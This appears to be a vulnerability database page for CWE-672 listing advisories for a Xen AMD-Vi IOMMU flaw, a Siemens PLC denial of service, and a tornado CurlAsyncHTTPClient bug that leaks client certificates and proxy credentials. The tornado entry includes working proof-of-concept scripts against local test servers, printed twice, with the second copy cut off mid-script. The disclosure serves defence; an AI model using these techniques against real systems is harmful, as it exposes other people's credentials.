CWE-672
Allowed-with-ReviewOperation on a Resource after Expiration or Release
Abstraction: Class · Status: Draft
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
118 vulnerabilities reference this CWE, most recent first.
GHSA-MJVW-FRXX-6HM5
Vulnerability from github – Published: 2024-01-05 18:30 – Updated: 2025-11-04 21:30The caching invalidation guidelines from the AMD-Vi specification (48882—Rev 3.07-PUB—Oct 2022) is incorrect on some hardware, as devices will malfunction (see stale DMA mappings) if some fields of the DTE are updated but the IOMMU TLB is not flushed.
Such stale DMA mappings can point to memory ranges not owned by the guest, thus allowing access to unindented memory regions.
{
"affected": [],
"aliases": [
"CVE-2023-34326"
],
"database_specific": {
"cwe_ids": [
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-05T17:15:08Z",
"severity": "HIGH"
},
"details": "The caching invalidation guidelines from the AMD-Vi specification (48882\u2014Rev\n3.07-PUB\u2014Oct 2022) is incorrect on some hardware, as devices will malfunction\n(see stale DMA mappings) if some fields of the DTE are updated but the IOMMU\nTLB is not flushed.\n\nSuch stale DMA mappings can point to memory ranges not owned by the guest, thus\nallowing access to unindented memory regions.",
"id": "GHSA-mjvw-frxx-6hm5",
"modified": "2025-11-04T21:30:54Z",
"published": "2024-01-05T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34326"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-442.html"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-442.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MW3J-F4PG-723R
Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-03-17 00:05A vulnerability has been identified in SIMATIC Drive Controller family (All versions < V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions >= V4.5.0 < V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions >= V2.9.2 < V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions >= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packet over port 102/tcp. A restart of the affected device is needed to restore normal operations.
{
"affected": [],
"aliases": [
"CVE-2021-37204"
],
"database_specific": {
"cwe_ids": [
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-09T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SIMATIC Drive Controller family (All versions \u003c V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions \u003e= V4.5.0 \u003c V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions \u003e= V2.9.2 \u003c V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions \u003e= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packet over port 102/tcp. A restart of the affected device is needed to restore normal operations.",
"id": "GHSA-mw3j-f4pg-723r",
"modified": "2022-03-17T00:05:55Z",
"published": "2022-02-10T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37204"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-838121.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PW6J-QG29-8W7F
Vulnerability from github – Published: 2026-06-15 20:37 – Updated: 2026-06-15 20:37CurlAsyncHTTPClient leaks per-request credentials on handle reuse
Summary
CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does
not reset them between requests, and several per-request options are applied with
no clearing branch. As a result, sensitive state set by one request persists onto
a later request on the same client that does not set it. Two credential vectors
are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy
basic-auth credentials (PROXYUSERPWD) — both leaking to a different,
unintended host. This affects all released versions through 6.5.6.
Details
In tornado/curl_httpclient.py, handles are created once and returned to a free
list for reuse (_process_queue pops the handle at line 200, _finish
re-appends it at line 245), and _curl_setup_request is never preceded by
curl.reset(). The function clears some carried-over state on the reused handle
— unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD)
when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —
but other options have no equivalent clearing path and persist until a later
request sets them again.
Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing
branch:
# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
A request that sets client_cert leaves the certificate on the handle; a later
request without client_cert presents it during its TLS handshake.
Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only
inside the credentials branch and unset only in the no-proxy else branch:
# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
curl.setopt(pycurl.PROXY, request.proxy_host)
curl.setopt(pycurl.PROXYPORT, request.proxy_port)
if request.proxy_username: # only place PROXYUSERPWD is set
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
...
else:
try:
curl.unsetopt(pycurl.PROXY)
except TypeError:
curl.setopt(pycurl.PROXY, "")
curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset
A request that sets a new proxy_host without proxy_username updates
PROXY/PROXYPORT but never reaches the else, so the previous request's
credentials persist and are sent to the new proxy.
The same class also affects INTERFACE (lines 365-366: set only when
request.network_interface is truthy, with no clearing branch), which is a
lower-severity instance — a later request can be bound to a network interface it
did not request. A single fix addresses all three (see Mitigation).
PoC
Both reproduce against the pinned release using public API only
(CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).
Vector A — client TLS certificate
The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.
python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py
import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
def _key():
return rsa.generate_private_key(public_exponent=65537, key_size=2048)
def _ca():
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
now = datetime.datetime.now(datetime.timezone.utc)
cert = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
.sign(key, hashes.SHA256())
)
return cert, key
def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
now = datetime.datetime.now(datetime.timezone.utc)
b = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(ca_cert.subject)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
)
if ips:
b = b.add_extension(
x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
critical=False,
)
if client:
b = b.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
)
return b.sign(ca_key, hashes.SHA256()), key
def _pem(path, cert, key=None):
with open(path, "wb") as fh:
fh.write(cert.public_bytes(serialization.Encoding.PEM))
if key is not None:
fh.write(key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
class TLSServer:
def __init__(self, srv_pem, ca_pem, require):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
self.ctx.load_cert_chain(srv_pem)
self.ctx.load_verify_locations(ca_pem)
self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
s = self.ctx.wrap_socket(conn, server_side=True)
self.captures.append(s.getpeercert() or None)
try:
s.recv(4096)
s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
except Exception:
pass
s.close()
except Exception:
self.captures.append("handshake-failed")
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def _cn(peer):
if not peer or not isinstance(peer, dict):
return None
for rdn in peer.get("subject", ()):
for k, v in rdn:
if k == "commonName":
return v
return None
async def main():
with tempfile.TemporaryDirectory() as tmp:
ca_cert, ca_key = _ca()
s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)
ca_pem = os.path.join(tmp, "ca.pem")
s1_pem = os.path.join(tmp, "s1.pem")
s2_pem = os.path.join(tmp, "s2.pem")
cert_pem = os.path.join(tmp, "client.crt")
key_pem = os.path.join(tmp, "client.key")
_pem(ca_pem, ca_cert)
_pem(s1_pem, s1_cert, s1_key)
_pem(s2_pem, s2_cert, s2_key)
_pem(cert_pem, cli_cert)
with open(key_pem, "wb") as fh:
fh.write(cli_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
s1 = TLSServer(s1_pem, ca_pem, require=True)
s2 = TLSServer(s2_pem, ca_pem, require=False)
try:
clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await clean.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/baseline",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
clean.close()
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s1.port}/internal-mtls",
client_cert=cert_pem, client_key=key_pem,
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/other-host",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
s1.stop()
s2.stop()
baseline = _cn(s2.captures[0]) if s2.captures else None
leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None
print(f"{'scenario':<48}{'cert presented to server 2'}")
print(f"{'-' * 48}{'-' * 28}")
print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
print()
print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
print()
if baseline is None and leaked == "trusted-client":
print("VERDICT: VULNERABLE — the client certificate from request A was "
"presented to server 2 on request B, which specified none.")
return 0
print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (pip show tornado → 6.5.6, installed in the venv):
scenario cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert None
exploit: reused handle (A had client_cert) 'trusted-client'
(sanity) server 1 (mTLS required) saw: 'trusted-client'
VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.
Vector B — proxy credentials
Each proxy is a separate listener capturing the raw request bytes.
./venv/bin/python poc_proxy_creds.py
import asyncio
import base64
import socket
import sys
import threading
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
class CapturingProxy:
def __init__(self):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
data = b""
while b"\r\n\r\n" not in data and len(data) < 8192:
chunk = conn.recv(2048)
if not chunk:
break
data += chunk
self.captures.append(data)
conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
b"Connection: close\r\n\r\n")
except Exception:
pass
finally:
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def proxy_authz(raw):
head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
for line in head.split("\r\n"):
if line.lower().startswith("proxy-authorization:"):
return line
return None
async def main():
proxy_a = CapturingProxy()
proxy_b = CapturingProxy()
try:
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
"http://target.example/a",
proxy_host="127.0.0.1", proxy_port=proxy_a.port,
proxy_username="alice", proxy_password="secretA",
request_timeout=5, connect_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
"http://target.example/b",
proxy_host="127.0.0.1", proxy_port=proxy_b.port,
request_timeout=5, connect_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
proxy_a.stop()
proxy_b.stop()
a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
expected = "Basic " + base64.b64encode(b"alice:secretA").decode()
print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
print(f"{'-' * 42}{'-' * 40}")
print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
print()
if b and expected in b:
print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
f"({expected}) although request B specified no proxy_username.")
return 0
print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):
request Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.
Impact
- Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
- Actors: An application that issues requests with differing per-request
options on a shared
CurlAsyncHTTPClient— for Vector A, mixing per-requestclient_certrequests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials. - Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
- Scope: Only applications using the optional
CurlAsyncHTTPClientbackend with the patterns above are affected. The defaultSimpleAsyncHTTPClientis not affected (and does not support proxies).
Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is
High because exploitation depends on the application using differing per-request
options on a shared client and on handle scheduling.
Mitigation
A single fix closes all instances of this class: call curl.reset() at the start
of _curl_setup_request and then re-apply the per-request options, so no state
from a prior request can persist on the reused handle. (Note curl.reset() also
clears CAINFO, which the current code intentionally leaves untouched — see the
comment at lines 401-409 — so that default would need to be re-established after
the reset.)
Alternatively, add explicit clearing branches mirroring the existing
PROXYUSERPWD/USERPWD handling:
# client certificate
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
else:
curl.unsetopt(pycurl.SSLKEY)
# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
curl.unsetopt(pycurl.PROXYUSERPWD)
# network interface
if request.network_interface:
curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
curl.unsetopt(pycurl.INTERFACE)
Until a fix is available, use a separate CurlAsyncHTTPClient instance per
distinct credential set (per client certificate / per proxy credential), or use
SimpleAsyncHTTPClient where applicable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.6"
},
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-672"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:37:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below \u2014 a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) \u2014 both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n\u2014 `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) \u2014\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A \u2014 client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B \u2014 proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n curl.setopt(pycurl.PROXY, request.proxy_host)\n curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n if request.proxy_username: # only place PROXYUSERPWD is set\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\n ...\nelse:\n try:\n curl.unsetopt(pycurl.PROXY)\n except TypeError:\n curl.setopt(pycurl.PROXY, \"\")\n curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request\u0027s\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance \u2014 a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A \u2014 client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n now = datetime.datetime.now(datetime.timezone.utc)\n cert = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(name)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n .sign(key, hashes.SHA256())\n )\n return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n now = datetime.datetime.now(datetime.timezone.utc)\n b = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(ca_cert.subject)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n )\n if ips:\n b = b.add_extension(\n x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n critical=False,\n )\n if client:\n b = b.add_extension(\n x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n )\n return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n with open(path, \"wb\") as fh:\n fh.write(cert.public_bytes(serialization.Encoding.PEM))\n if key is not None:\n fh.write(key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n\nclass TLSServer:\n def __init__(self, srv_pem, ca_pem, require):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n self.ctx.load_cert_chain(srv_pem)\n self.ctx.load_verify_locations(ca_pem)\n self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n s = self.ctx.wrap_socket(conn, server_side=True)\n self.captures.append(s.getpeercert() or None)\n try:\n s.recv(4096)\n s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n except Exception:\n pass\n s.close()\n except Exception:\n self.captures.append(\"handshake-failed\")\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef _cn(peer):\n if not peer or not isinstance(peer, dict):\n return None\n for rdn in peer.get(\"subject\", ()):\n for k, v in rdn:\n if k == \"commonName\":\n return v\n return None\n\n\nasync def main():\n with tempfile.TemporaryDirectory() as tmp:\n ca_cert, ca_key = _ca()\n s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n ca_pem = os.path.join(tmp, \"ca.pem\")\n s1_pem = os.path.join(tmp, \"s1.pem\")\n s2_pem = os.path.join(tmp, \"s2.pem\")\n cert_pem = os.path.join(tmp, \"client.crt\")\n key_pem = os.path.join(tmp, \"client.key\")\n _pem(ca_pem, ca_cert)\n _pem(s1_pem, s1_cert, s1_key)\n _pem(s2_pem, s2_cert, s2_key)\n _pem(cert_pem, cli_cert)\n with open(key_pem, \"wb\") as fh:\n fh.write(cli_key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n s1 = TLSServer(s1_pem, ca_pem, require=True)\n s2 = TLSServer(s2_pem, ca_pem, require=False)\n try:\n clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await clean.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/baseline\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n clean.close()\n\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n client_cert=cert_pem, client_key=key_pem,\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/other-host\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n s1.stop()\n s2.stop()\n\n baseline = _cn(s2.captures[0]) if s2.captures else None\n leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n print(f\"{\u0027scenario\u0027:\u003c48}{\u0027cert presented to server 2\u0027}\")\n print(f\"{\u0027-\u0027 * 48}{\u0027-\u0027 * 28}\")\n print(f\"{\u0027baseline: clean client, no client_cert\u0027:\u003c48}{baseline!r}\")\n print(f\"{\u0027exploit: reused handle (A had client_cert)\u0027:\u003c48}{leaked!r}\")\n print()\n print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n print()\n if baseline is None and leaked == \"trusted-client\":\n print(\"VERDICT: VULNERABLE \u2014 the client certificate from request A was \"\n \"presented to server 2 on request B, which specified none.\")\n return 0\n print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` \u2192 6.5.6, installed in the venv):\n\n```\nscenario cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert None\nexploit: reused handle (A had client_cert) \u0027trusted-client\u0027\n\n(sanity) server 1 (mTLS required) saw: \u0027trusted-client\u0027\n\nVERDICT: VULNERABLE \u2014 the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B \u2014 proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n def __init__(self):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n data = b\"\"\n while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n chunk = conn.recv(2048)\n if not chunk:\n break\n data += chunk\n self.captures.append(data)\n conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\n except Exception:\n pass\n finally:\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef proxy_authz(raw):\n head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n for line in head.split(\"\\r\\n\"):\n if line.lower().startswith(\"proxy-authorization:\"):\n return line\n return None\n\n\nasync def main():\n proxy_a = CapturingProxy()\n proxy_b = CapturingProxy()\n try:\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n \"http://target.example/a\",\n proxy_host=\"127.0.0.1\", 